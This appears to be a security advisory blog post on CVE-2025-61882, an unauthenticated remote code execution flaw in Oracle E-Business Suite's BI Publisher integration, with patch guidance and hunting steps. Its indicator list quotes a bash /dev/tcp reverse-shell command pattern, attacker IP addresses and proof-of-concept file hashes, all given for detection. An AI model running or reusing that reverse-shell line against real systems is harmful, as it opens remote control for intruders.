Oracle E-Business Suite Alert – CVE-2025-61882: Remote, No-Auth RCE in BI Publisher Integration

Oracle has issued a Security Alert for CVE-2025-61882, a critical vulnerability in Oracle E-Business Suite’s BI Publisher integration that is remotely exploitable without authentication and may lead to remote code execution. Oracle urges customers to apply the updates immediately, noting the October 2023 Critical Patch Update is a prerequisite for these fixes, details and patches are available according to Oracle’s advisory.

This vulnerability affects Oracle E-Business Suite versions 12.2.3 through 12.2.14. Oracle’s risk matrix assigns a CVSS v3.1 base score of 9.8, indicating the highest level of severity. The flaw allows an attacker to send specially crafted HTTP requests to the BI Publisher integration component over the network and, without any user credentials, trigger code execution on the target server. (See Oracle’s alert for full patch and risk-matrix details.)

Because E-Business Suite powers finance, HR, procurement and other critical business functions in many large organizations, a successful exploit could give adversaries full control over business systems, data theft, ransomware deployment, or a stepping stone into broader enterprise networks.

Verified facts & key context

• CVE: CVE-2025-61882.
• Affected component: Oracle Concurrent Processing — BI Publisher Integration (HTTP).
• Affected versions: Oracle E-Business Suite 12.2.3 – 12.2.14.
• Exploitability: Remotely exploitable without authentication (network attack vector, no user interaction).
• Impact: Remote Code Execution (RCE) — attackers may execute arbitrary commands on vulnerable systems.
• Prerequisite: Oracle notes the October 2023 Critical Patch Update is required before applying the Security Alert patches.
• Patches & guidance: Oracle has published patch availability and installation instructions in the Security Alert; customers should follow the process in the advisory.

Observed Indicators of Compromise (IOCs), immediate detection/hunting

Oracle’s alert includes sample IOCs to aid detection and containment. Security teams should hunt for these indicators and similar activity:

Potential malicious IPs (examples):

• 200[.]107[.]207[.]26 — potential GET/POST activity
• 185[.]181[.]60[.]11 — potential GET/POST activity

Suspicious command pattern:

• sh -c /bin/bash -i >& /dev/tcp// 0>&1 — outbound TCP reverse shell attempt

Known PoC / artifact hashes (SHA-256):

• 76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d — oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip
• aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121 — exp.py
• 6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b — server.py

Action: Blocklisted IPs should be isolated and investigated; any evidence of the reverse-shell command or these hashes should prompt immediate containment and forensics.

Impact on organisations, users and the industry

• Enterprises using Oracle E-Business Suite: High risk – critical business applications and databases could be compromised.
• Service providers / managed-service vendors: If multi-tenant systems or managed EBS instances are affected, a single exploit could impact many customers.
• Regulated sectors (finance, healthcare, government): Data breach or operational disruption could yield regulatory fines, reputational damage and service outages.
• Wider industry: Public, unauthenticated RCE bugs with working PoCs often attract rapid exploitation; patch lag windows become high-value opportunities for ransomware gangs and data thieves.

Expert perspective

Security practitioners should treat unauthenticated RCEs as highest priority. As one experienced incident responder summarized:

“A no-auth RCE in an enterprise-grade ERP is a direct path to full compromise, treat it like an active incident until patched and verified.”

The combination of high CVSS, critical business use of EBS, and publicly visible PoCs and IOCs increases the probability of exploitation in the wild.

10 Immediate actions & best practices for security teams

1. Apply Oracle’s patches immediately. Follow the Security Alert patch availability document and Oracle’s installation steps; ensure the October 2023 CPU prerequisite is already applied.
2. Isolate exposed EBS instances from untrusted networks until patches are validated; place them behind firewalls and segmented management networks.
3. Hunt for IOCs in web access logs, SIEM alerts, and endpoint telemetry for the listed IPs, command patterns, and file/hash indicators.
4. Implement WAF rules / virtual patching to block malicious HTTP requests targeting BI Publisher if patching will be delayed.
5. Rotate credentials and secrets used by EBS services and concurrent processing after containment, and audit all privileged accounts.
6. Conduct integrity checks and forensic triage on EBS application and host files if compromise is suspected. Capture memory, process lists, and network connections for analysis.
7. Monitor outbound connections for reverse shells or suspicious callbacks, and apply egress filtering to limit external C2 channels.
8. Notify stakeholders & regulators per breach notification policies if evidence of compromise is found; preserve logs for investigations.
9. Update incident response runbooks with EBS-specific containment steps and tie into crisis communications for affected business units.
10. Train ops & application teams on patch sequencing (respecting prerequisites) and validation testing; use [training.saintynet.com] for awareness programs and tabletop exercises.

Why this matters for the MEA region

Organisations across the Middle East & Africa increasingly rely on Oracle E-Business Suite for finance, supply chain and government services. Many MEA entities operate in tightly regulated sectors where uptime and data confidentiality are paramount. A successful unauthenticated RCE could lead to operational paralysis or sensitive data exposure — outcomes that are particularly costly in regions undergoing rapid digital transformation. MEA security teams should prioritize patching, network segmentation, and third-party supplier checks to reduce systemic risk.

Final takeaways

CVE-2025-61882 is a critical, no-authentication RCE in Oracle E-Business Suite. The combination of high severity, public indicators, and exploitable attack surface means organisations must act now: patch according to Oracle’s Security Alert, hunt for signs of compromise, and apply layered mitigations where immediate patching isn’t possible. This is a classic example where prevention (timely patching) and readiness (detection & response) go hand in hand to protect critical business services.
